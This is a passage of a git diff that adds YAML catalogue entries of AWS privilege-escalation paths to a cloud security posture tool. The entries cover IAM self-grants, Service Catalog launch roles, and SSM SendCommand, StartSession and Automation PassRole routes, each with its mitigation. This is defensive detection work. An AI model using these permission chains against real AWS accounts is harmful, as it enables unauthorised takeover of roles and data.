"{target.role_arn}" + request_context: + iam:PassedToService: scheduler.amazonaws.com + - action: scheduler:UpdateSchedule + resource: "{target.resource_arn}" + target: + kind: aws_verified_authority + selector: + aws_scheduler_iam_self_grant_update: true + scope: same_account + aggregate_as: "Scheduler update IAM inline-policy self-grants in {account}" + outcome: permission_grant + grants: ["iam:CreateUser after a scheduled inline-policy write to the exact source principal"] + conditions: + - id: scheduled_iam_policy_write + description: The updated schedule must run and its IAM inline-policy call must succeed before the source gains the permission. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict scheduler:UpdateSchedule and iam:PassRole to approved roles, and keep the execution role from changing the editor's IAM policies. + references: + - https://docs.aws.amazon.com/scheduler/latest/APIReference/API_UpdateSchedule.html + - https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html + notes: Only one collected existing schedule with no customer-managed KMS key is modeled. The passed role must trust Scheduler for that exact schedule and have effective iam:PutUserPolicy or iam:PutRolePolicy on the source. The source must lack effective iam:CreateUser beforehand, and explicit denies, boundaries and organization policies must permit the new permission. The scheduled write and later use remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/scoped_grants.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/scoped_grants.yaml new file mode 100644 index 0000000000..20408c3a57 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/scoped_grants.yaml @@ -0,0 +1,127 @@ +# Scoped AWS permission gains. Each edge needs one unique reviewed record that +# binds the source, exact resource, accepted mutation, and effective permission +# before and after the mutation. Missing or ambiguous evidence creates no path. + +- id: aws-secretsmanager-putresourcepolicy-self-grant + provider: aws + service: secretsmanager + title: Grant the source IAM user GetSecretValue on an exact secret + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md#secretsmanagergetresourcepolicy-secretsmanagerputresourcepolicy-secretsmanagerlistsecrets + source_revision: d11f0e7012 + summary: The source IAM user writes a same-account secret resource policy naming itself and gains previously denied GetSecretValue, including the necessary KMS decrypt authorization. + source_kind: [aws_user] + requires: + all_of: + - action: secretsmanager:PutResourcePolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_secretsmanager_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["secretsmanager:GetSecretValue on the exact reviewed secret"] + aggregate_as: "Reviewed Secrets Manager GetSecretValue self-grants in {account}" + conditions: + - id: reviewed_secret_permission_differential + description: Unique reviewed evidence must bind the exact source IAM user, same-account secret, accepted policy principal and resource, prior denial, effective new GetSecretValue access, and KMS decrypt access. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict PutResourcePolicy on sensitive secrets and review grants to the requesting user with KMS access. + references: + - https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_resource-policies.html + notes: The target is the source user's new read permission on one secret, never the privileges of a credential that might be stored there. + +- id: aws-efs-putfilesystempolicy-self-grant + provider: aws + service: efs + title: Grant the source ClientMount on an exact EFS file system + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemdeletefilesystempolicyelasticfilesystemputfilesystempolicy + source_revision: d11f0e7012 + summary: The source replaces a file-system policy with an accepted statement naming itself and gains previously denied ClientMount on that file system. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: elasticfilesystem:PutFileSystemPolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_efs_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["elasticfilesystem:ClientMount on the exact reviewed file system"] + aggregate_as: "Reviewed EFS ClientMount self-grants in {account}" + conditions: + - id: reviewed_efs_permission_differential + description: Unique reviewed evidence must bind the source, file system, accepted policy principal and resource, prior ClientMount denial, and effective new ClientMount authorization. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict PutFileSystemPolicy and review client grants to the requesting principal. + references: + - https://docs.aws.amazon.com/efs/latest/APIReference/API_PutFileSystemPolicy.html + notes: This grants only ClientMount authorization; network reachability and ClientWrite or ClientRootAccess are separate conditions and permissions. Deleting the policy is not modeled by this entry. + +- id: aws-cases-tagresource-domain-event-self-grant + provider: aws + service: cases + title: Unlock PutCaseEventConfiguration by changing an exact domain authorization tag + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-cases-privesc/README.md#casestagresource--casesuntagresource-plus-tag-conditioned-cases-permissions + source_revision: d11f0e7012 + summary: The source tags an exact Cases domain Access=Operator and thereby satisfies its previously unmet aws:ResourceTag/Access condition for PutCaseEventConfiguration on that domain. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: cases:TagResource + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_cases_tag_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["cases:PutCaseEventConfiguration on the exact reviewed domain after Access=Operator tagging"] + aggregate_as: "Reviewed Connect Cases domain tag-conditioned grants in {account}" + conditions: + - id: reviewed_cases_tag_permission_differential + description: Unique reviewed evidence must bind the source, domain, accepted Access=Operator tag, pre-existing matching IAM condition, all evaluated resources, prior denial, and effective newly allowed PutCaseEventConfiguration action. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Cases authorization tag writes and use explicit denies for protected domains. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_connectcases.html + notes: Other Cases actions or resource types require separate exact proof and are not inferred from this domain grant. + +- id: aws-sitewise-createaccesspolicy-portal-self-grant + provider: aws + service: iotsitewise + title: Grant the source identity SiteWise Monitor portal administrator access + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-sitewise-privesc/README.md#grant-yourself-access-to-a-legacy-sitewise-monitor-portal + source_revision: d11f0e7012 + summary: The source creates an accepted access policy naming itself as ADMINISTRATOR on an existing Monitor portal where it had no equivalent access. + source_kind: [aws_user] + requires: + all_of: + - action: iotsitewise:CreateAccessPolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_sitewise_portal_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["iotsitewise:MonitorPortalAdministrator on the exact reviewed portal"] + aggregate_as: "Reviewed SiteWise Monitor portal administrator grants in {account}" + conditions: + - id: reviewed_sitewise_portal_permission_differential + description: Unique reviewed evidence must bind the exact source identity, existing portal, accepted access policy naming that identity, prior absence of equivalent access, and effective new ADMINISTRATOR permission. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict CreateAccessPolicy on Monitor portals and reconcile administrator grants against approved identities. + references: + - https://docs.aws.amazon.com/iot-sitewise/latest/APIReference/API_CreateAccessPolicy.html + notes: The target is the source's new portal-scoped application permission, not account-wide IAM authority. Monitor must be available in the account. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml new file mode 100644 index 0000000000..d27a2f6ff3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/servicecatalog.yaml @@ -0,0 +1,94 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Service Catalog privilege escalation techniques. +# Source: hacktricks-cloud aws-service-catalog-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +- id: aws-servicecatalog-createprovisioningartifact-provisionproduct + provider: aws + service: servicecatalog + title: Add a product version and provision it under the launch-constraint role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#servicecatalogcreateprovisioningartifact--servicecatalogprovisionproduct + source_revision: 171e422299 + summary: The source can obtain the privileges of the launch-constraint role of products it can modify and provision. + requires: + all_of: + - action: servicecatalog:CreateProvisioningArtifact + resource: "{target.resource_arn}" + - action: servicecatalog:ProvisionProduct + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: servicecatalog.amazonaws.com + via_resource_type: servicecatalog_product + scope: same_account + aggregate_as: "Service Catalog launch-constraint roles in {account}" + preconditions: + - servicecatalog_new_artifact_effect_unverified + conditions: + - id: product_owned + description: The product must be owned by (not merely shared into) the account so artifacts can be added. + - id: portfolio_end_user + description: The source must be an end user (principal association) of a portfolio containing the product with a launch constraint. + - id: template_url + description: The source needs a template location (S3 or GitHub) the service accepts. + - id: resource_constraints + description: Launch-role permission boundaries or template/resource constraints may limit what the role can create. + - id: launch_role_confused_deputy_conditions + description: aws:SourceAccount / aws:SourceArn conditions in the launch-role trust policy limit which account's provisioning calls can use the role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict servicecatalog:CreateProvisioningArtifact to catalog administrators and keep launch-constraint roles least-privileged. + references: + - https://docs.aws.amazon.com/servicecatalog/latest/adminguide/constraints-launch.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsservicecatalog.html + notes: The launch-constraint guide states the launch role's trust policy must allow the Service Catalog service to assume it, which matches the selector. The end user needs no iam:PassRole; that permission is needed by the administrator who creates the launch constraint. A concrete edge requires one owned product in a portfolio the source can use, its launch constraint naming the exact role, a source-controlled new artifact, successful provisioning of that artifact, and a useful role-only action. Fresh reviewed evidence must bind the product, portfolio, artifact, provisioned product and exact RoleId; missing or conflicting evidence remains unresolved. + +- id: aws-servicecatalog-associateprincipal-createartifact-provision + provider: aws + service: servicecatalog + title: Grant itself portfolio access, add a product version and provision it under the launch role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-service-catalog-privesc/README.md#servicecatalogassociateprincipalwithportfolio--grant-a-principal-or-yourself-portfolio-access-to-reach-the-launch-role + source_revision: 171e422299 + summary: The source can obtain the privileges of the launch-constraint role of products it can modify, even without being a portfolio end user, by associating itself with the portfolio. + requires: + all_of: + - action: servicecatalog:AssociatePrincipalWithPortfolio + resource: "{target.portfolio_arn}" + - action: servicecatalog:CreateProvisioningArtifact + resource: "{target.resource_arn}" + - action: servicecatalog:ProvisionProduct + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: servicecatalog.amazonaws.com + via_resource_type: servicecatalog_product + portfolio_of_target_product_covered_by: servicecatalog:AssociatePrincipalWithPortfolio + scope: same_account + aggregate_as: "Service Catalog launch-constraint roles of portfolios the source can join in {account}" + preconditions: + - servicecatalog_new_artifact_effect_unverified + conditions: + - id: portfolio_covered + description: servicecatalog:AssociatePrincipalWithPortfolio must cover the portfolio that holds the product and its launch constraint. + - id: product_owned + description: The product must be owned by (not merely shared into) the account so artifacts can be added. + - id: template_url + description: The source needs a template location (S3 or GitHub) the service accepts. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict servicecatalog:AssociatePrincipalWithPortfolio and CreateProvisioningArtifact to catalog administrators; review portfolio principal associations (including name patterns) and keep launch roles least-privileged. + references: + - https://docs.aws.amazon.com/servicecatalog/latest/dg/API_AssociatePrincipalWithPortfolio.html + - https://docs.aws.amazon.com/servicecatalog/latest/adminguide/constraints-launch.html + notes: Variant of aws-servicecatalog-createprovisioningartifact-provisionproduct that lets the source associate itself with the portfolio before provisioning. The same product must belong to that portfolio and its LAUNCH constraint must name the exact role; portfolio-wide role association alone is insufficient. A concrete edge requires a successful self-association, one source-controlled new artifact accepted and provisioned for an owned product, and a useful action under the exact launch role unavailable directly to the source. Fresh reviewed evidence must bind those facts; missing or conflicting evidence remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/snowball.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/snowball.yaml new file mode 100644 index 0000000000..0e1bf34845 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/snowball.yaml @@ -0,0 +1,12 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Snowball Edge job management privilege escalation techniques. +# Source: hacktricks-cloud aws-snowball-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Bounded impact: the job role is used +# only to read the selected S3 data onto a shipped device; no credentials are returned. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sns.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sns.yaml new file mode 100644 index 0000000000..147b993ac2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sns.yaml @@ -0,0 +1,34 @@ +# Amazon SNS topic-policy permission gain for an exact same-account IAM user. +# Source: hacktricks-cloud aws-sns-privesc/README.md (rev fd9bf8863b). + +- id: aws-sns-settopicattributes-self-subscribe + provider: aws + service: sns + title: Grant the caller permission to subscribe to a topic + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md#snssettopicattributes--grant-subscribe-access-to-a-controlled-iam-user + source_revision: fd9bf8863b + summary: A same-account IAM user who can replace one topic policy can name itself and gain Subscribe on that topic. + source_kind: [aws_user] + requires: + all_of: + - action: sns:SetTopicAttributes + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_sns_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["sns:Subscribe on the exact reviewed topic"] + aggregate_as: "SNS Subscribe self-grants in {account}" + conditions: + - id: subscription_endpoint + description: Receiving messages also requires a controlled endpoint and any applicable delivery or confirmation permission. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict sns:SetTopicAttributes on sensitive topics and use explicit denies where a caller must never subscribe. + references: + - https://docs.aws.amazon.com/sns/latest/dg/sns-using-identity-based-policies.html + - https://docs.aws.amazon.com/sns/latest/dg/sns-access-policy-language-api-permissions-reference.html + notes: Only an exact collected topic and same-account IAM user with effective SetTopicAttributes, no prior Subscribe and no surviving identity, boundary or organization deny qualify. Replacing the topic policy can remove an old topic-policy Deny. The route grants permission to request a subscription; it does not prove that an endpoint was confirmed or any message delivered. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sqs.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sqs.yaml new file mode 100644 index 0000000000..22c36d16be --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sqs.yaml @@ -0,0 +1,34 @@ +# Amazon SQS queue-policy permission gain for an exact same-account IAM user. +# Source: hacktricks-cloud aws-sqs-privesc/README.md (rev fd9bf8863b). + +- id: aws-sqs-setqueueattributes-self-receive + provider: aws + service: sqs + title: Grant the caller permission to receive messages from a queue + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md#sqssetqueueattributes--grant-queue-access-to-a-controlled-iam-user + source_revision: fd9bf8863b + summary: A same-account IAM user who can replace one queue policy can name itself and gain ReceiveMessage on that queue. + source_kind: [aws_user] + requires: + all_of: + - action: sqs:SetQueueAttributes + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_sqs_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["sqs:ReceiveMessage on the exact reviewed queue"] + aggregate_as: "SQS ReceiveMessage self-grants in {account}" + conditions: + - id: queue_policy_propagation + description: SQS policy changes can take time to propagate; this route is the newly granted permission, not an observed message read. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict sqs:SetQueueAttributes on sensitive queues and use explicit denies where a caller must never gain message access. + references: + - https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_SetQueueAttributes.html + - https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/troubleshooting-access-denied.html + notes: Only an exact collected queue and a same-account IAM user with effective SetQueueAttributes, no prior ReceiveMessage and no surviving identity, boundary or organization deny qualify. For an SSE-KMS queue, the exact key ARN or ID must resolve to a collected regional KMS key and policy, and the user must have effective kms:Decrypt on that key; aliases and unavailable key policies remain unresolved. This grants the queue permission, not an observed message read; messages encrypted under earlier keys may need other Decrypt grants. An existing direct queue-policy Allow means the user already has access unless a queue-policy Deny blocks it; an account-root Allow only delegates to IAM. A replacement queue policy can remove its old Deny, including NotPrincipal Deny. A direct user grant bypasses a boundary's implicit deny, while an explicit boundary Deny still blocks it. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ssm-incidents.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm-incidents.yaml new file mode 100644 index 0000000000..8fd0aa4040 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm-incidents.yaml @@ -0,0 +1,46 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS ssm-incidents privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +- id: aws-ssm-incidents-response-plan-automation-passrole + provider: aws + service: ssm-incidents + title: Run controlled incident automation with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#hijack-response-plan-actions-chat-channel-and-contacts + source_revision: b587e6bd26 + summary: The source can create or update a response plan with a controlled SSM Automation document and pass a runbook service role to Incident Manager, then start an incident under that same plan. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm-incidents.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: ssm-incidents.amazonaws.com + scope: same_account + aggregate_as: Passable Incident Manager runbook roles in {account} + outcome: workload_execution + preconditions: + - ssm_incident_response_plan_runs_new_automation_document + conditions: + - id: incident_trigger + description: StartIncident must use the same response plan created or updated by the source and trigger its automation action. + - id: automation_document + description: The source must be able to create an automation document whose steps use the passed role's authority. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict passing the execution role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict response-plan mutation and iam:PassRole to approved incident automation roles and review automation documents referenced by plans. + references: + - https://docs.aws.amazon.com/incident-manager/latest/userguide/response-plans.html + notes: CreateResponsePlan has no resource-level permissions, while UpdateResponsePlan and StartIncident use a Regionless response-plan ARN. The runbook service role trusts ssm-incidents.amazonaws.com and needs StartAutomationExecution on the document and generated execution; a separate Automation AssumeRole is not used by this path. The evaluator requires an active Incident Manager replication set, a creatable Automation document, and creation or update plus StartIncident on the same plan. Successful Automation execution remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml new file mode 100644 index 0000000000..8fe7eba416 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ssm.yaml @@ -0,0 +1,396 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Systems Manager privilege escalation techniques. +# Source: hacktricks-cloud aws-ssm-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn}, {target.artifact_arn}, via_resource_type and via_artifact_type (see header of lambda.yaml). + +- id: aws-ssm-sendcommand + provider: aws + service: ssm + title: Run commands on SSM-managed instances + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmsendcommand + source_revision: 171e422299 + summary: The source may reach the instance-profile role by running a shell command on an SSM-managed instance it can target. + requires: + all_of: + - action: ssm:SendCommand + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + conditions: + - id: shell_document_allowed + description: ssm:SendCommand must also cover a document that runs arbitrary commands (e.g. AWS-RunShellScript / AWS-RunPowerShellScript); a Resource limited to non-shell documents removes the edge. + - id: document_platform + description: The permitted shell document must be usable on the instance's operating system. + - id: instance_managed + description: The instance must be online in SSM (agent running, network path to SSM, managed-instance role). + - id: ssm_resource_tag_condition + description: ssm:resourceTag conditions may limit covered instances. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_shell_document_on_online_instance + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope ssm:SendCommand to specific instance ARNs/tags and to non-shell documents; restrict shell documents to administrators. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-rc-setting-up-cmdsec.html + notes: SendCommand authorizes both the instance and the document ARNs. The evaluator checks same-Region AWS shell documents; a potentially usable custom document remains unresolved. Hybrid managed nodes (mi-*) yield their service role credentials only via the node, not an EC2 instance profile. + +- id: aws-ssm-startsession + provider: aws + service: ssm + title: Open a Session Manager shell on managed instances + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartsession + source_revision: 171e422299 + summary: The source may reach the instance-profile role through a shell session on an SSM-managed instance it can target. + requires: + all_of: + - action: ssm:StartSession + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + conditions: + - id: session_document_restriction + description: If StartSession is limited to a document ARN that only allows port forwarding or a constrained command, no shell is obtained. + - id: session_data_channel + description: The source also needs ssmmessages:OpenDataChannel on the session it starts. + - id: instance_managed + description: The instance must be online in SSM. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_shell_session_on_online_instance + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope ssm:StartSession to specific instances and require ssm:SessionDocumentAccessCheck with restricted session documents. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/getting-started-restrict-access-quickstart.html + notes: The evaluator checks StartSession on an online instance and its same-Region SSM-SessionManagerRunShell document, plus an OpenDataChannel grant for a future session in that account and Region. The exact generated session ID and instance-level shell restrictions remain conditional. + +- id: aws-ssm-sendcommand-hybrid-role + provider: aws + service: ssm + title: Run a shell command on an online hybrid managed node + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmsendcommand + source_revision: 98775f1a6f + summary: The source can run a platform-matching shell document on an online hybrid node whose recorded IamRole names the target role. + requires: + all_of: + - action: ssm:SendCommand + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Service roles of online hybrid nodes reachable by Run Command in {account} + outcome: workload_execution + preconditions: + - ssm_hybrid_sendcommand_role + conditions: + - id: hybrid_node_credential_access + description: The managed node must process the command and its SSM agent credentials must remain accessible to the resulting root or SYSTEM process. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict SendCommand on hybrid managed-instance and shell-document ARNs to approved operators, and keep hybrid service roles narrow. + references: + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_InstanceInformation.html + - https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent-restrict-root-level-commands.html + notes: The evaluator requires the same collected online mi- node, its exact IamRole name, a platform-matching AWS shell document and effective SendCommand on both resource ARNs. It does not infer another node's or EC2 instance-profile role. + +- id: aws-ssm-startsession-hybrid-role + provider: aws + service: ssm + title: Open a shell on an online hybrid managed node + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartsession + source_revision: 98775f1a6f + summary: The source can open a default shell session on an online hybrid node whose recorded IamRole names the target role. + requires: + all_of: + - action: ssm:StartSession + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Service roles of online hybrid nodes reachable by Session Manager in {account} + outcome: workload_execution + preconditions: + - ssm_hybrid_startsession_role + conditions: + - id: hybrid_shell_credential_access + description: The session must open a usable shell on the node with sufficient local access to its SSM agent credentials. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict StartSession to approved hybrid nodes and shell documents, limit future session data-channel grants, and keep their service roles narrow. + references: + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_InstanceInformation.html + - https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent-restrict-root-level-commands.html + notes: The evaluator requires the same collected online mi- node and exact IamRole, default shell document and a wildcard-capable OpenDataChannel grant for a new session. Port-forwarding-only grants cannot satisfy this route. + +- id: aws-ssm-createassociation + provider: aws + service: ssm + title: Create a State Manager association that runs commands on instances + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#privileged-execution-through-a-state-manager-association + source_revision: 171e422299 + summary: The source may run a shell document on an SSM-managed instance by creating an association that targets its instance ID. + requires: + all_of: + - action: ssm:CreateAssociation + resource: "*" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + conditions: + - id: shell_document_allowed + description: CreateAssociation must cover a shell document as well as the new association resource. + - id: instance_managed + description: The instance must be online in SSM. + - id: targets_parameter + description: The Targets parameter can name the instance ID directly; an instance ARN restriction is enforced only for the deprecated InstanceId parameter. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_shell_association_targets + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ssm:CreateAssociation to configuration-management principals and to approved documents. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/state-manager-associations.html + notes: The evaluator checks the Targets route with an exact instance ID, an association ARN, and a same-Region AWS shell document. A custom shell document remains unresolved if its command behavior is not collected. + +- id: aws-ssm-maintenancewindow-register-task-target + provider: aws + service: ssm + title: Register or update a Run Command task on an existing maintenance window + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmregistertaskwithmaintenancewindow-ssmregistertargetwithmaintenancewindow-ssmdescribemaintenancewindows--ec2describeinstances + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the instance-profile role of SSM-managed instances by having an existing maintenance window run a command task it registered or modified on them. + requires: + any_of: + - - action: ssm:RegisterTaskWithMaintenanceWindow + resource: "*" + - - action: ssm:UpdateMaintenanceWindowTask + resource: "*" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + outcome: workload_execution + conditions: + - id: window_schedule + description: An enabled maintenance window must exist and reach its next scheduled run; the task can omit a service role (the service-linked role is used) or needs iam:PassRole for a custom one. + - id: task_targets + description: Without ssm:RegisterTargetWithMaintenanceWindow the task reaches only the window's existing targets or instances it names directly as task targets; with it the source can add any managed instance to the window. + - id: instance_managed + description: Target instances must be online in SSM. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_maintenance_window_run_command_target + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict maintenance-window task registration and update APIs to operations principals, reconcile window tasks against IaC and alert on new or changed window tasks. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/maintenance-windows-permissions.html + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_UpdateMaintenanceWindowTask.html + notes: A registered Run Command task can name an online instance directly with Targets InstanceIds. Updating a task requires an existing RUN_COMMAND task and authorization on both its maintenance window and its windowtask ARN. The passed-service-role Automation variant is aws-ssm-maintenancewindow-automation-task-passrole. + + +- id: aws-ssm-createdocument-startautomationexecution-passrole + provider: aws + service: ssm + title: Create an Automation runbook with a passed assume role and start it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartautomationexecution--execute-a-preauthorized-runbook-role + source_revision: 171e422299 + summary: The source can run an Automation document it authored using a passable SSM role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + - action: ssm:CreateDocument + resource: "*" + - action: ssm:StartAutomationExecution + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: trust_confused_deputy_conditions + description: aws:SourceAccount / aws:SourceArn conditions in the role trust limit it to Automation executions of the stated account. + preconditions: + - ssm_new_automation_document_executable + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Automation roles with iam:PassedToService, restrict ssm:CreateDocument to administrators, and keep Automation roles least-privileged. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/automation-setup-iam.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awssystemsmanager.html + notes: The evaluator binds CreateDocument and StartAutomationExecution to one new Automation document name in one Region, and checks authorization on generated automation-execution resources. The passed role may be supplied through the runbook or the execution request. + +- id: aws-ssm-passrole-createactivation + provider: aws + service: ssm + title: Create a hybrid activation bound to a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmcreateactivation-iampassrole--mint-a-hybrid-activation-that-hands-out-a-role + source_revision: 171e422299 + summary: The source can register a machine it controls as an SSM hybrid managed node using a passable role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + - action: ssm:CreateActivation + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: activation_code_bearer + description: The activation code returned to the caller is a bearer credential that keeps working after the caller loses access, until the activation is deleted and the registered nodes are deregistered. + blockers: + - 